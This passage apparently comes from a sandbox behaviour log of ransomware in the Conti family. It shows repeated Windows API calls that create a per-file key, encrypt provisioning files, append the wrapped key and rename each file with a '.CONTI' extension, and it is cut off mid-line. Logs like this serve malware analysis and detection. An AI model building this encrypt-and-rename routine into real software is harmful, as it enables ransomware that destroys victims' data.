	[0111.201] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.201] WriteFile (in: hFile=0x3ac, lpBuffer=0x6514e3c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6514e3c*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0111.362] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.362] ReadFile (in: hFile=0x3ac, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x281, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x281, lpOverlapped=0x0) returned 1
	[0111.362] CryptEncrypt (in: hKey=0x17c83b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x281, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x290) returned 1
	[0111.363] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.363] WriteFile (in: hFile=0x3ac, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x290, lpOverlapped=0x0) returned 1
	[0111.363] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.363] WriteFile (in: hFile=0x3ac, lpBuffer=0x6514e30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6514e30*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0111.363] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.363] CloseHandle (hObject=0x3ac) returned 1
	[0111.367] GetProcessHeap () returned 0x1720000
	[0111.367] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.970] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml"
	[0111.970] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.970] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\391__connections_cellular_o2 (slovakia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\391__connections_cellular_o2 (slovakia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.973] GetProcessHeap () returned 0x1720000
	[0111.973] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.973] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0111.973] GetProcessHeap () returned 0x1720000
	[0111.973] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6fb8 | out: hHeap=0x1720000) returned 1
	[0111.974] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0111.974] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x1806760 | out: phKey=0x1806760*=0x6b7f538) returned 1
	[0111.974] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x1806764, pdwDataLen=0x34ffaac | out: pbData=0x1806764*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0111.974] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\463__connections_cellular_astelit (ukraine)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.975] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\463__connections_cellular_astelit (ukraine)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0111.975] GetLastError () returned 0x0
	[0111.975] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=704) returned 1
	[0111.975] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c0
	[0111.975] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.975] SetEndOfFile (hFile=0x3e8) returned 1
	[0111.975] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.975] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.975] WriteFile (in: hFile=0x3e8, lpBuffer=0x1806764*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x1806764*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0111.982] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.982] ReadFile (in: hFile=0x3e8, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x2c0, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x2c0, lpOverlapped=0x0) returned 1
	[0111.982] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2c0, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2d0) returned 1
	[0111.982] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.982] WriteFile (in: hFile=0x3e8, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.982] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.982] WriteFile (in: hFile=0x3e8, lpBuffer=0x1806758*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x1806758*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0111.982] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.982] CloseHandle (hObject=0x3e8) returned 1
	[0111.982] GetProcessHeap () returned 0x1720000
	[0111.982] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.982] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml"
	[0111.982] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.982] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\463__connections_cellular_astelit (ukraine)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\463__connections_cellular_astelit (ukraine)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.983] GetProcessHeap () returned 0x1720000
	[0111.983] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.983] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0111.983] GetProcessHeap () returned 0x1720000
	[0111.983] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588578 | out: hHeap=0x1720000) returned 1
	[0111.983] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0111.983] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x1803c08 | out: phKey=0x1803c08*=0x6b7f0b8) returned 1
	[0111.983] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x1803c0c, pdwDataLen=0x34ffaac | out: pbData=0x1803c0c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0111.984] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\465__connections_cellular_utel inet (ukraine)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.984] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\465__connections_cellular_utel inet (ukraine)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0111.984] GetLastError () returned 0x0
	[0111.984] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=647) returned 1
	[0111.984] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x287
	[0111.984] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.984] SetEndOfFile (hFile=0x3e8) returned 1
	[0111.985] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.985] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.985] WriteFile (in: hFile=0x3e8, lpBuffer=0x1803c0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x1803c0c*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0111.991] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.991] ReadFile (in: hFile=0x3e8, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x287, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x287, lpOverlapped=0x0) returned 1
	[0111.991] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x287, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x290) returned 1
	[0111.991] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.991] WriteFile (in: hFile=0x3e8, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x290, lpOverlapped=0x0) returned 1
	[0111.991] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.991] WriteFile (in: hFile=0x3e8, lpBuffer=0x1803c00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x1803c00*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0111.991] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.991] CloseHandle (hObject=0x3e8) returned 1
	[0111.991] GetProcessHeap () returned 0x1720000
	[0111.991] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.992] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml"
	[0111.992] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.992] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\465__connections_cellular_utel inet (ukraine)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\465__connections_cellular_utel inet (ukraine)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.992] GetProcessHeap () returned 0x1720000
	[0111.992] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.992] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0111.992] GetProcessHeap () returned 0x1720000
	[0111.992] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180a800 | out: hHeap=0x1720000) returned 1
	[0111.992] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0111.992] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x18039c0 | out: phKey=0x18039c0*=0x6b7f3f8) returned 1
	[0111.992] CryptExportKey (in: hKey=0x6b7f3f8, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x18039c4, pdwDataLen=0x34ffaac | out: pbData=0x18039c4*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0111.993] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\467__connections_cellular_du eitc (united arab emirates)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.993] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\467__connections_cellular_du eitc (united arab emirates)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0111.994] GetLastError () returned 0x0
	[0111.994] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=650) returned 1
	[0111.994] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28a
	[0111.994] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.994] SetEndOfFile (hFile=0x3e8) returned 1
	[0111.994] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.994] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.994] WriteFile (in: hFile=0x3e8, lpBuffer=0x18039c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x18039c4*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0112.001] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.001] ReadFile (in: hFile=0x3e8, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x28a, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x28a, lpOverlapped=0x0) returned 1
	[0112.001] CryptEncrypt (in: hKey=0x6b7f3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x28a, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x290) returned 1
	[0112.001] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.001] WriteFile (in: hFile=0x3e8, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x290, lpOverlapped=0x0) returned 1
	[0112.001] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.001] WriteFile (in: hFile=0x3e8, lpBuffer=0x18039b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x18039b8*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0112.001] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.001] CloseHandle (hObject=0x3e8) returned 1
	[0112.001] GetProcessHeap () returned 0x1720000
	[0112.001] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.001] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml"
	[0112.001] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.001] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\467__connections_cellular_du eitc (united arab emirates)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\467__connections_cellular_du eitc (united arab 